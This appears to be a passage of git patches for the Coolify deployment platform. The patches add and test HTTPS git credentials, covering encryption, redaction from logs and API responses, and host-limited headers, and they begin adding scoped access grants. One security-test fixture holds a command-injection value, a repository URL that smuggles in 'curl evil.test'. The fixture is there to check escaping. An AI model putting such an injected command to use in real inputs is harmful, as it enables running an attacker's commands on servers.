InstanceSettings::forceCreate(['id' => 0]); + $this->root = sys_get_temp_dir().'/coolify-git-https-'.bin2hex(random_bytes(4)); + mkdir($this->root.'/bin', 0755, true); + mkdir($this->root.'/srv'); + mkdir($this->root.'/work'); + file_put_contents($this->root.'/bin/sudo', "#!/bin/sh\nexec \"\$@\"\n"); + // Runs `docker exec bash -c '...'` on the host, so the helper container commands run unchanged. + file_put_contents($this->root.'/bin/docker', "#!/bin/sh\nshift 2\nexec \"\$@\"\n"); + chmod($this->root.'/bin/sudo', 0755); + chmod($this->root.'/bin/docker', 0755); + + [$this->server, $this->baseUrl] = startGitHttpsCredentialServer($this->root, 'deploy-bot:plain-test-value'); + + $git = fn (string $dir, array $args) => (new Process(['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', '-c', 'protocol.file.allow=always', ...$args], $dir))->mustRun(); + + mkdir($this->root.'/sub'); + file_put_contents($this->root.'/sub/lib.txt', 'submodule file'); + $git($this->root.'/sub', ['init', '-q', '-b', 'main']); + $git($this->root.'/sub', ['add', '-A']); + $git($this->root.'/sub', ['commit', '-qm', 'sub']); + $git($this->root.'/sub', ['clone', '-q', '--bare', '.', $this->root.'/srv/sub.git']); + + mkdir($this->root.'/src'); + $this->compose = "services:\n web:\n image: nginx\n"; + file_put_contents($this->root.'/src/docker-compose.yml', $this->compose); + $git($this->root.'/src', ['init', '-q', '-b', 'main']); + $git($this->root.'/src', ['submodule', 'add', '-q', $this->root.'/srv/sub.git', 'lib']); + $git($this->root.'/src', ['config', '-f', '.gitmodules', 'submodule.lib.url', $this->baseUrl.'/sub.git']); + $git($this->root.'/src', ['add', '-A']); + $git($this->root.'/src', ['commit', '-qm', 'app']); + $this->commit = trim($git($this->root.'/src', ['rev-parse', 'HEAD'])->getOutput()); + file_put_contents($this->root.'/src/pr.txt', 'pull request'); + $git($this->root.'/src', ['add', '-A']); + $git($this->root.'/src', ['commit', '-qm', 'pr']); + $git($this->root.'/src', ['clone', '-q', '--bare', '.', $this->root.'/srv/app.git']); + $git($this->root.'/srv/app.git', ['update-ref', 'refs/pull/7/head', 'HEAD']); + $git($this->root.'/srv/app.git', ['update-ref', 'refs/heads/main', $this->commit]); + + $this->repository = $this->baseUrl.'/app.git'; +}); + +afterEach(function () { + $this->server->stop(0); + (new Process(['rm', '-rf', $this->root]))->run(); + Mockery::close(); +}); + +test('the deployment clone uses the HTTPS credential for the repository, the commit, and submodules without saving it', function (int $pullRequestId) { + $application = gitHttpsCredentialApplication($this->repository, ['git_commit_sha' => $pullRequestId === 0 ? $this->commit : 'HEAD']); + $checkout = $this->root.'/work/checkout'; + + ['commands' => $commands] = $application->generateGitImportCommands('deploy-uuid', pull_request_id: $pullRequestId, git_type: 'gitea', exec_in_docker: true, custom_base_dir: $checkout); + $process = runGitHttpsCredentialCommands($this->root, $commands); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()); + + $savedConfig = file_get_contents($checkout.'/.git/config').file_get_contents($checkout.'/.git/modules/lib/config'); + expect(file_get_contents($checkout.'/lib/lib.txt'))->toBe('submodule file') + ->and(file_exists($checkout.'/pr.txt'))->toBe($pullRequestId !== 0) + ->and($savedConfig)->not->toContain('plain-test-value') + ->and($savedConfig)->not->toContain($application->gitHttpsCredentialBasicToken()) + ->and($savedConfig)->not->toContain('extraHeader'); +})->with([ + 'pinned commit' => [0], + 'pull request preview' => [7], +]); + +test('git fails without the right HTTPS credential', function () { + $application = gitHttpsCredentialApplication($this->repository); + $application->forceFill(['git_https_password' => 'wrong-token'])->save(); + + ['commands' => $commands] = $application->fresh()->generateGitImportCommands('deploy-uuid', exec_in_docker: false, custom_base_dir: $this->root.'/work/checkout'); + $process = runGitHttpsCredentialCommands($this->root, $commands); + + expect($process->getExitCode())->not->toBe(0) + ->and($process->getErrorOutput())->toContain('could not read Username') + ->and(file_exists($this->root.'/work/checkout/docker-compose.yml'))->toBeFalse(); +}); + +test('ls-remote on the server works for root and non-root users', function (bool $nonRoot) { + $application = gitHttpsCredentialApplication($this->repository); + + ['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid', exec_in_docker: false); + $commands = collect([$command]); + if ($nonRoot) { + $commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer())); + } + $process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n")); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toContain("{$this->commit}\trefs/heads/main"); +})->with(['root' => [false], 'non-root' => [true]]); + +test('the deployment job ls-remote uses the HTTPS credential in the helper container', function () { + $application = gitHttpsCredentialApplication($this->repository); + $job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor(); + $reflection = new ReflectionObject($job); + foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) { + $reflection->getProperty($property)->setValue($job, $value); + } + + $command = $reflection->getMethod('gitLsRemoteCommand')->invoke($job, 'refs/heads/main'); + $process = runGitHttpsCredentialCommands($this->root, executeInDocker('deploy-uuid', $command)); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toBe("{$this->commit}\trefs/heads/main\n"); +}); + +test('the Compose file loads with the HTTPS credential for root and non-root users', function (bool $nonRoot) { + $application = gitHttpsCredentialApplication($this->repository); + $uuid = 'git-https-'.bin2hex(random_bytes(4)); + $gitVersion = (string) str((new Process(['git', '--version']))->mustRun()->getOutput())->trim()->explode(' ')->last(); + + $commands = (new ReflectionMethod(Application::class, 'composeFileReadCommands'))->invoke($application, $uuid, $gitVersion); + if ($nonRoot) { + $commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer())); + } + $process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n")); + (new Process(['rm', '-rf', "/tmp/{$uuid}"]))->run(); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toBe($this->compose); +})->with(['root' => [false], 'non-root' => [true]]); + +test('git sends the HTTPS credential only to the repository host', function () { + $application = gitHttpsCredentialApplication($this->repository); + $option = $application->gitHttpsCredentialConfigOption(); + + $headerFor = fn (string $url) => trim(runGitHttpsCredentialCommands($this->root, "git {$option} config --get-urlmatch http.extraHeader {$url} || true")->getOutput()); + + expect($headerFor($this->baseUrl.'/other/repo.git'))->toBe('Authorization: Basic '.base64_encode('deploy-bot:plain-test-value')) + ->and($headerFor('http://example.com/app.git'))->toBe('') + ->and($headerFor(str_replace('http://', 'https://', $this->baseUrl).'/app.git'))->toBe(''); +}); + +test('the HTTPS credential is not used for SSH URLs, deploy keys, or applications without a password', function (array $attributes) { + $application = gitHttpsCredentialApplication($this->repository); + $application->forceFill($attributes)->save(); + + expect($application->fresh()->gitHttpsCredentialConfigOption())->toBeNull(); +})->with([ + 'ssh url' => [['git_repository' => 'git@example.com:org/app.git']], + 'deploy key' => [['private_key_id' => 0]], + 'no password' => [['git_https_password' => null]], +]); diff --git a/tests/Feature/GitHttpsCredentialTest.php b/tests/Feature/GitHttpsCredentialTest.php new file mode 100644 index 0000000000..b1d66d433a --- /dev/null +++ b/tests/Feature/GitHttpsCredentialTest.php @@ -0,0 +1,207 @@ + 'file']); + Storage::fake('ssh-keys'); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->owner = User::factory()->create(); + $this->team->members()->attach($this->owner->id, ['role' => 'owner']); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_repository' => 'https://dev.azure.com/org/project/_git/app', + 'git_branch' => 'main', + ]); +}); + +function gitHttpsCredentialRawPassword(Application $application): ?string +{ + return DB::table('applications')->where('id', $application->id)->value('git_https_password'); +} + +function gitHttpsCredentialApiToken(User $user, Team $team): string +{ + session(['currentTeam' => $team]); + + return $user->createToken('git-https-credential-test', ['root'])->plainTextToken; +} + +test('an admin saves the HTTPS credential encrypted and the browser never gets the password', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + $component = Livewire::test(Source::class, ['application' => $this->application]) + ->set('gitHttpsUsername', 'deploy-bot') + ->set('gitHttpsPassword', 'azure-test-value') + ->call('submit') + ->assertSet('gitHttpsPassword', null) + ->assertSet('hasGitHttpsPassword', true); + + $application = $this->application->fresh(); + expect($application->git_https_username)->toBe('deploy-bot') + ->and($application->git_https_password)->toBe('azure-test-value') + ->and(gitHttpsCredentialRawPassword($application))->not->toContain('azure-test-value') + ->and($component->html())->not->toContain('azure-test-value'); + + $component->set('gitHttpsUsername', 'other-bot')->call('submit'); + expect($this->application->fresh()->git_https_password)->toBe('azure-test-value') + ->and($this->application->fresh()->git_https_username)->toBe('other-bot'); + + $component->call('removeGitHttpsCredential')->assertSet('hasGitHttpsPassword', false); + expect($this->application->fresh()->git_https_password)->toBeNull() + ->and($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('a username without a password is rejected', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Source::class, ['application' => $this->application]) + ->set('gitHttpsUsername', 'deploy-bot') + ->call('submit') + ->assertDispatched('error'); + + expect($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('a member of the application team cannot change the HTTPS credential after switching to a team they own', function () { + $user = User::factory()->create(); + $this->team->members()->attach($user->id, ['role' => 'member']); + $otherTeam = Team::factory()->create(); + $otherTeam->members()->attach($user->id, ['role' => 'owner']); + $this->application->forceFill(['git_https_password' => 'existing-token'])->save(); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $component = Livewire::test(Source::class, ['application' => $this->application]); + session(['currentTeam' => $otherTeam]); + $component->set('gitHttpsPassword', 'attacker-token')->call('submit'); + $component->call('removeGitHttpsCredential'); + + expect($this->application->fresh()->git_https_password)->toBe('existing-token'); +}); + +test('deployment logs never contain the HTTPS credential', function () { + $this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'log-canary-token'])->save(); + $application = $this->application->fresh(); + $deployment = ApplicationDeploymentQueue::query()->create([ + 'application_id' => $application->id, + 'deployment_uuid' => fake()->uuid(), + ]); + ['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid'); + + $deployment->addLogEntry(message: 'remote said log-canary-token', command: $command); + + $logs = (string) $deployment->fresh()->logs; + expect($command)->toContain($application->gitHttpsCredentialBasicToken()) + ->and($logs)->not->toContain('log-canary-token') + ->and($logs)->not->toContain($application->gitHttpsCredentialBasicToken()); +}); + +test('the API creates an application with an HTTPS credential and never returns the password', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $response = $this->withToken($token)->postJson('/api/v1/applications/public', [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + 'server_uuid' => $this->server->uuid, + 'git_repository' => 'https://git.example.com/org/private.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'autogenerate_domain' => false, + 'git_https_username' => 'deploy-bot', + 'git_https_password' => 'api-created-token', + ])->assertCreated(); + + $application = Application::where('uuid', $response->json('uuid'))->firstOrFail(); + expect($application->git_https_password)->toBe('api-created-token') + ->and($application->gitHttpsCredentialConfigOption())->not->toBeNull(); + + $this->withToken($token)->getJson("/api/v1/applications/{$application->uuid}") + ->assertOk() + ->assertJsonPath('git_https_username', 'deploy-bot') + ->assertJsonMissingPath('git_https_password') + ->assertDontSee('api-created-token'); +}); + +test('the API rejects an HTTPS credential where it is not used', function (string $endpoint, array $payload) { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $this->withToken($token)->postJson($endpoint, [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + 'server_uuid' => $this->server->uuid, + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'autogenerate_domain' => false, + ...$payload, + ])->assertUnprocessable()->assertJsonValidationErrors('git_https_password'); +})->with([ + 'github.com' => ['/api/v1/applications/public', ['git_repository' => 'https://github.com/org/app', 'git_https_password' => 'token']], + 'username only' => ['/api/v1/applications/public', ['git_repository' => 'https://git.example.com/org/app.git', 'git_https_username' => 'deploy-bot']], + 'deploy key endpoint' => ['/api/v1/applications/private-deploy-key', ['git_repository' => 'git@git.example.com:org/app.git', 'git_https_password' => 'token']], +]); + +test('the API updates and removes the HTTPS credential', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_username' => 'deploy-bot', + 'git_https_password' => 'updated-token', + ])->assertOk()->assertDontSee('updated-token'); + expect($this->application->fresh()->git_https_password)->toBe('updated-token'); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => null, + ])->assertOk(); + expect($this->application->fresh()->git_https_password)->toBeNull() + ->and($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('the API rejects an HTTPS credential for an application with a deploy key', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + $this->application->forceFill(['private_key_id' => 0])->save(); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => 'token', + ])->assertUnprocessable()->assertJsonValidationErrors('git_https_password'); + expect($this->application->fresh()->git_https_password)->toBeNull(); +}); + +test('a token of another team cannot set the HTTPS credential', function () { + $otherUser = User::factory()->create(); + $otherTeam = Team::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + $token = gitHttpsCredentialApiToken($otherUser, $otherTeam); + + $this->withToken($token)->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_https_password' => 'attacker-token', + ])->assertNotFound(); + expect($this->application->fresh()->git_https_password)->toBeNull(); +}); diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php index a5d97bdb98..21fb1ce86b 100644 --- a/tests/Feature/Security/CommandInjectionSecurityTest.php +++ b/tests/Feature/Security/CommandInjectionSecurityTest.php @@ -291,6 +291,7 @@ describe('deployment git command escaping', function () { $instance = $job->newInstanceWithoutConstructor(); foreach ([ + 'application' => new Application, 'customPort' => 22, 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", ] as $property => $value) { diff --git a/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php b/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php index 26eb2f9aad..60528271a8 100644 --- a/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php +++ b/tests/Unit/ServerTransfer/ServerTransferExporterImporterTest.php @@ -261,6 +261,7 @@ test('dry run import reports counts without creating server', function () { }); test('round trip import preserves uuids secrets and related resources after source removal', function () { + $this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'transfer-pat-secret'])->save(); $bundle = $this->exporter->export($this->server); $originalServerUuid = $this->server->uuid; $originalAppUuid = $this->application->uuid; @@ -308,7 +309,9 @@ test('round trip import preserves uuids secrets and related resources after sour ->and($app->environment_variables()->where('key', 'APP_SECRET')->first()?->value)->toBe('super-secret-value') ->and($app->persistentStorages)->toHaveCount(1) ->and($app->scheduled_tasks)->toHaveCount(1) - ->and($app->tags()->pluck('name')->all())->toContain('transfer-demo'); + ->and($app->tags()->pluck('name')->all())->toContain('transfer-demo') + ->and($app->git_https_username)->toBe('deploy-bot') + ->and($app->git_https_password)->toBe('transfer-pat-secret'); $db = StandalonePostgresql::where('uuid', $originalDbUuid)->first(); expect($db)->not->toBeNull() diff --git a/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php b/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php new file mode 100644 index 0000000000..034a4a43c2 --- /dev/null +++ b/tests/v4/Browser/ApplicationGitHttpsCredentialTest.php @@ -0,0 +1,33 @@ + Server::flushIdentityMap()); + +afterEach(fn () => Server::flushIdentityMap()); + +it('saves the HTTPS credential from the source page without showing the token again', function () { + $stack = seedBrowserResourceStack(); + $application = createBrowserApplication($stack, [ + 'name' => 'Azure App', + 'git_repository' => 'https://dev.azure.com/org/project/_git/app', + 'git_branch' => 'main', + ]); + loginAndSkipBoarding(); + + $page = visit(applicationConfigurationUrl($stack['project'], $stack['environment'], $application).'/source'); + $page->assertSee('HTTPS credentials') + ->type('gitHttpsUsername', 'deploy-bot') + ->type('gitHttpsPassword', 'browser-pat-token') + ->click('button:visible:has-text("Save changes")') + ->assertSee('Remove credentials') + ->assertValue('input[name=gitHttpsPassword]', '') + ->assertNoJavaScriptErrors() + ->screenshot(filename: 'application-git-https-credential'); + + expect($application->fresh()->git_https_password)->toBe('browser-pat-token') + ->and($application->fresh()->git_https_username)->toBe('deploy-bot'); +}); From 2796609e9677b07b8bcb519664331ebd61801e9c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:13:20 +0100 Subject: [PATCH 07/10] feat(access): add scoped grants for team members and API tokens (#12329) --- app/Enums/AccessLevel.php | 64 ++ app/Enums/AccessScope.php | 11 + .../Api/ApplicationsController.php | 4 +- .../Controllers/Api/DatabasesController.php | 6 +- app/Http/Controllers/Api/DeployController.php | 17 +- .../Controllers/Api/ServicesController.php | 5 +- .../SharedEnvironmentVariablesController.php | 14 +- app/Http/Kernel.php | 2 + app/Http/Middleware/ApiAbility.php | 43 +- app/Http/Middleware/CanCreateResources.php | 17 +- app/Http/Middleware/EnsureTeamWideAccess.php | 30 + .../EnsureTokenBelongsToCurrentTeamMember.php | 53 +- app/Livewire/Dashboard.php | 16 +- app/Livewire/Dashboard/ActiveDeployments.php | 3 +- app/Livewire/DeploymentsIndicator.php | 1 + app/Livewire/GlobalSearch.php | 784 +++++++++--------- app/Livewire/Project/Index.php | 2 +- app/Livewire/Project/New/DockerCompose.php | 3 +- app/Livewire/Project/New/DockerImage.php | 3 +- .../Project/New/GithubPrivateRepository.php | 3 +- .../New/GithubPrivateRepositoryDeployKey.php | 7 +- .../Project/New/GitlabPrivateRepository.php | 3 +- .../Project/New/PublicGitRepository.php | 3 +- app/Livewire/Project/New/SimpleDockerfile.php | 3 +- app/Livewire/Project/Resource/Create.php | 3 +- .../Shared/EnvironmentVariable/All.php | 5 +- .../Shared/EnvironmentVariable/Show.php | 4 +- app/Livewire/Project/Show.php | 9 +- app/Livewire/Security/ApiTokens.php | 145 +++- app/Livewire/Team/Member.php | 2 +- app/Livewire/Team/Member/Access.php | 243 ++++++ app/Mcp/Concerns/ResolvesTeam.php | 58 +- .../InfrastructureOverviewResource.php | 2 +- app/Mcp/Servers/CoolifyServer.php | 60 +- app/Mcp/Tools/CloudProvider.php | 2 +- app/Mcp/Tools/CoolifyHelp.php | 2 +- app/Mcp/Tools/GetInfrastructureOverview.php | 5 +- app/Mcp/Tools/ListSharedEnvKeys.php | 5 +- app/Mcp/Tools/ListUnhealthyResources.php | 2 +- app/Mcp/Tools/ManageApplication.php | 4 +- app/Mcp/Tools/ManageBackup.php | 4 +- app/Mcp/Tools/ManageDatabase.php | 2 +- app/Mcp/Tools/ManageDestination.php | 2 +- app/Mcp/Tools/ManageEnv.php | 2 +- app/Mcp/Tools/ManageGitSource.php | 2 +- app/Mcp/Tools/ManagePreview.php | 2 +- app/Mcp/Tools/ManagePrivateKey.php | 2 +- app/Mcp/Tools/ManageProject.php | 4 +- app/Mcp/Tools/ManageRegistry.php | 2 +- app/Mcp/Tools/ManageS3Storage.php | 2 +- app/Mcp/Tools/ManageScheduledTask.php | 2 +- app/Mcp/Tools/ManageServer.php | 2 +- app/Mcp/Tools/ManageService.php | 2 +- app/Mcp/Tools/ManageSharedEnv.php | 2 +- app/Mcp/Tools/ManageStorage.php | 4 +- app/Mcp/Tools/ManageTags.php | 4 +- app/Mcp/Tools/SearchResources.php | 3 +- app/Models/Application.php | 3 +- app/Models/ApplicationDeploymentQueue.php | 16 + app/Models/ApplicationSetting.php | 6 +- app/Models/Environment.php | 3 +- app/Models/PersonalAccessToken.php | 2 + app/Models/Project.php | 3 +- .../Scopes/VisibleThroughAccessGrants.php | 43 + app/Models/Service.php | 3 +- app/Models/StandaloneClickhouse.php | 3 +- app/Models/StandaloneDragonfly.php | 3 +- app/Models/StandaloneKeydb.php | 3 +- app/Models/StandaloneMariadb.php | 3 +- app/Models/StandaloneMongodb.php | 3 +- app/Models/StandaloneMysql.php | 3 +- app/Models/StandalonePostgresql.php | 3 +- app/Models/StandaloneRedis.php | 3 +- app/Models/StandaloneSqlite.php | 3 +- app/Models/Team.php | 2 +- app/Models/User.php | 13 +- app/Policies/ApiTokenPolicy.php | 40 +- app/Policies/ApplicationPolicy.php | 53 +- app/Policies/ApplicationPreviewPolicy.php | 27 +- app/Policies/ApplicationSettingPolicy.php | 19 +- app/Policies/DatabasePolicy.php | 74 +- app/Policies/EnvironmentPolicy.php | 28 +- app/Policies/EnvironmentVariablePolicy.php | 35 +- app/Policies/ProjectPolicy.php | 14 +- app/Policies/ResourceCreatePolicy.php | 16 +- app/Policies/ScheduledTaskPolicy.php | 33 +- app/Policies/ServicePolicy.php | 47 +- .../SharedEnvironmentVariablePolicy.php | 37 +- app/Providers/AppServiceProvider.php | 2 + app/Services/Access/AccessGrants.php | 124 +++ app/Services/Access/AccessResolver.php | 468 +++++++++++ app/Services/Access/Grant.php | 94 +++ app/Traits/AuthorizesResourceCreation.php | 10 +- app/Traits/ScopedByAccessGrants.php | 16 + bootstrap/helpers/databases.php | 14 +- bootstrap/helpers/domains.php | 154 ++-- ...cess_grants_to_team_members_and_tokens.php | 46 + .../domain-conflict-modal.blade.php | 2 +- resources/views/components/navbar.blade.php | 34 +- resources/views/livewire/dashboard.blade.php | 2 + .../livewire/project/resource/index.blade.php | 4 +- .../livewire/security/api-tokens.blade.php | 41 +- .../views/livewire/team/member.blade.php | 13 + .../livewire/team/member/access.blade.php | 90 ++ .../livewire/team/member/index.blade.php | 4 + routes/api.php | 74 +- routes/web.php | 207 ++--- tests/Feature/Access/AccessGrantsTest.php | 142 ++++ tests/Feature/Access/AccessPoliciesTest.php | 269 ++++++ tests/Feature/Access/MemberGrantsTest.php | 240 ++++++ tests/Feature/Access/ScopedApiTokenTest.php | 346 ++++++++ .../Api/ServerDeleteFromProviderApiTest.php | 2 +- .../Api/ServerDockerRegistriesApiTest.php | 2 +- .../Api/ServiceDeleteMessageApiTest.php | 2 +- tests/Feature/ApplicationDomainsTest.php | 10 + .../Authorization/LegacyMemberTokenTest.php | 8 +- tests/Feature/Mcp/McpApplicationToolsTest.php | 4 +- tests/Feature/Mcp/McpDataToolsTest.php | 2 +- tests/Feature/Mcp/McpOperationsToolsTest.php | 2 +- tests/Feature/Mcp/McpReadToolsTest.php | 4 +- tests/Feature/Mcp/McpServerToolsTest.php | 6 +- tests/Feature/Mcp/McpWriteToolsTest.php | 2 +- ...ServerDeleteFailsQueuedDeploymentsTest.php | 2 +- tests/Unit/Policies/ApiTokenPolicyTest.php | 4 + tests/Unit/Policies/ApplicationPolicyTest.php | 94 ++- .../Policies/ApplicationPreviewPolicyTest.php | 63 +- .../Policies/ApplicationSettingPolicyTest.php | 51 +- tests/Unit/Policies/DatabasePolicyTest.php | 104 +-- tests/Unit/Policies/EnvironmentPolicyTest.php | 78 +- .../EnvironmentVariablePolicyTest.php | 70 +- tests/Unit/Policies/ProjectPolicyTest.php | 60 +- .../Policies/ResourceCreatePolicyTest.php | 24 +- tests/Unit/Policies/ServicePolicyTest.php | 102 ++- .../SharedEnvironmentVariablePolicyTest.php | 25 +- 134 files changed, 4031 insertions(+), 1321 deletions(-) create mode 100644 app/Enums/AccessLevel.php create mode 100644 app/Enums/AccessScope.php create mode 100644 app/Http/Middleware/EnsureTeamWideAccess.php create mode 100644 app/Livewire/Team/Member/Access.php create mode 100644 app/Models/Scopes/VisibleThroughAccessGrants.php create mode 100644 app/Services/Access/AccessGrants.php create mode 100644 app/Services/Access/AccessResolver.php create mode 100644 app/Services/Access/Grant.php create mode 100644 app/Traits/ScopedByAccessGrants.php create mode 100644 database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php create mode 100644 resources/views/livewire/team/member/access.blade.php create mode 100644 tests/Feature/Access/AccessGrantsTest.php create mode 100644 tests/Feature/Access/AccessPoliciesTest.php create mode 100644 tests/Feature/Access/MemberGrantsTest.php create mode 100644 tests/Feature/Access/ScopedApiTokenTest.php diff --git a/app/Enums/AccessLevel.php b/app/Enums/AccessLevel.php new file mode 100644 index 0000000000..6ec41a3506 --- /dev/null +++ b/app/Enums/AccessLevel.php @@ -0,0 +1,64 @@ + + */ + public function includes(): array + { + return match ($this) { + self::Root => self::cases(), + self::Write => [self::Write, self::Deploy, self::ReadSensitive, self::Read], + self::Delete => [self::Delete, self::Read], + self::Deploy => [self::Deploy, self::Read], + self::ReadSensitive => [self::ReadSensitive, self::Read], + self::Read => [self::Read], + }; + } + + public function label(): string + { + return match ($this) { + self::Read => 'Read', + self::ReadSensitive => 'Read secrets', + self::Deploy => 'Deploy', + self::Write => 'Write', + self::Delete => 'Delete', + self::Root => 'Full access', + }; + } + + /** + * Parse stored level or token ability strings. Unknown values are ignored. + * + * @param iterable $values + * @return list + */ + public static function parseMany(iterable $values): array + { + $levels = []; + foreach ($values as $value) { + $level = self::tryFrom((string) $value); + if ($level !== null && ! in_array($level, $levels, true)) { + $levels[] = $level; + } + } + + return $levels; + } +} diff --git a/app/Enums/AccessScope.php b/app/Enums/AccessScope.php new file mode 100644 index 0000000000..0846479401 --- /dev/null +++ b/app/Enums/AccessScope.php @@ -0,0 +1,11 @@ +authorize('create', Application::class); - // removeUnnecessaryFieldsFromRequest() strips force_domain_override before the docker_compose_domains checks run. $forceDomainOverride = $request->boolean('force_domain_override'); @@ -1428,6 +1426,7 @@ class ApplicationsController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Application::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -6063,6 +6062,7 @@ class ApplicationsController extends Controller } $this->authorize('update', $application); + $this->authorize('create', [Application::class, $application->environment]); $destination = StandaloneDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first() ?? SwarmDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first(); diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 634f20720d..61c1860ce6 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -2057,9 +2057,6 @@ class DatabasesController extends Controller return invalidTokenResponse(); } - // Use a generic authorization for database creation - using PostgreSQL as representative model - $this->authorize('create', StandalonePostgresql::class); - if ($request->boolean('instant_deploy')) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); } @@ -2104,6 +2101,8 @@ class DatabasesController extends Controller if (! $environment) { return response()->json(['message' => 'You need to provide a valid environment_name or environment_uuid.'], 422); } + // StandalonePostgresql stands for every database type: they share one policy. + $this->authorize('create', [StandalonePostgresql::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -5193,6 +5192,7 @@ class DatabasesController extends Controller } $this->authorize('update', $database); + $this->authorize('create', [StandalonePostgresql::class, $database->environment]); $destination = StandaloneDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first() ?? SwarmDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first(); diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index 5c405f3e17..885006909d 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -13,6 +13,7 @@ use App\Models\ApplicationPreview; use App\Models\Server; use App\Models\Service; use App\Models\Tag; +use App\Services\Access\AccessResolver; use App\Support\ResourceStartActivity; use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Request; @@ -75,7 +76,12 @@ class DeployController extends Controller return invalidTokenResponse(); } $servers = Server::whereTeamId($teamId)->get(); - $deployments_per_server = ApplicationDeploymentQueue::whereIn('status', ['in_progress', 'queued'])->whereIn('server_id', $servers->pluck('id'))->get()->sortBy('id'); + $query = ApplicationDeploymentQueue::whereIn('status', ['in_progress', 'queued'])->whereIn('server_id', $servers->pluck('id')); + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + // application_id is a string column, so compare with string IDs of the applications the actor can see. + $query->whereIn('application_id', Application::ownedByCurrentTeamAPI($teamId)->pluck('id')->map(fn ($id) => (string) $id)); + } + $deployments_per_server = $query->get()->sortBy('id'); $deployments_per_server = $deployments_per_server->map(function ($deployment) { return $this->removeSensitiveData($deployment); }); @@ -233,6 +239,15 @@ class DeployController extends Controller if (! $servers->contains($deployment->server_id)) { return response()->json(['message' => 'You do not have permission to cancel this deployment.'], 403); } + // For an actor limited by access grants, deployments of applications outside the grants do not exist. + // Soft-deleted applications stay included so a deploy that runs during a delete can still be cancelled. + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + $deploymentApplication = $deployment->application()->withTrashed()->first(); + if (! $deploymentApplication) { + return response()->json(['message' => 'Deployment not found.'], 404); + } + 